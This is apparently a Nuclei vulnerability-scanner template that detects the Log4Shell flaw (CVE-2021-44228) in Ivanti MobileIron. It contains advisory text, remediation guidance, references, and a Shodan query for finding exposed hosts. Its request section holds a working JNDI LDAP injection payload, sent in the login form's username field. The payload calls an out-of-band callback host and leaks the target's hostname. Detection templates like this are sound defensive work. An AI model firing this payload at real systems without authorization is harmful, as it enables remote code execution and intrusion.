id: mobileiron-log4j-jndi-rce info: name: Ivanti MobileIron (Log4j) - Remote Code Execution author: meme-lord severity: critical description: Ivanti MobileIron is susceptible to remote code execution via the Apache Log4j2 library. Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI-related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. remediation: From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects. reference: - https://github.com/advisories/GHSA-jfh8-c2jp-5v3q - https://www.lunasec.io/docs/blog/log4j-zero-day/ - https://www.zdnet.com/article/mobileiron-customers-urged-to-patch-systems-due-to-potential-log4j-exploitation/ - https://logging.apache.org/log4j/2.x/security.html - https://nvd.nist.gov/vuln/detail/CVE-2021-44228 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cve-id: CVE-2021-44228 cwe-id: CWE-917 metadata: verified: true max-request: 1 shodan-query: http.html:"MobileIron" tags: jndi,log4j,rce,cve,cve2021,ivanti,oast,mobileiron,kev variables: rand1: '{{rand_int(111, 999)}}' rand2: '{{rand_int(111, 999)}}' http: - raw: - | POST /mifs/j_spring_security_check HTTP/1.1 Referer: {{RootURL}}/mifs/user/login.jsp Content-Type: application/x-www-form-urlencoded j_username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}}&j_password=password&logincontext=employee matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the DNS Interaction words: - "dns" - type: word part: location words: - '/mifs/user/login.jsp?error=1' - type: regex part: interactsh_request regex: - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output extractors: - type: kval kval: - interactsh_ip # Print remote interaction IP in output - type: regex group: 2 regex: - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output part: interactsh_request - type: regex group: 1 regex: - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output part: interactsh_request
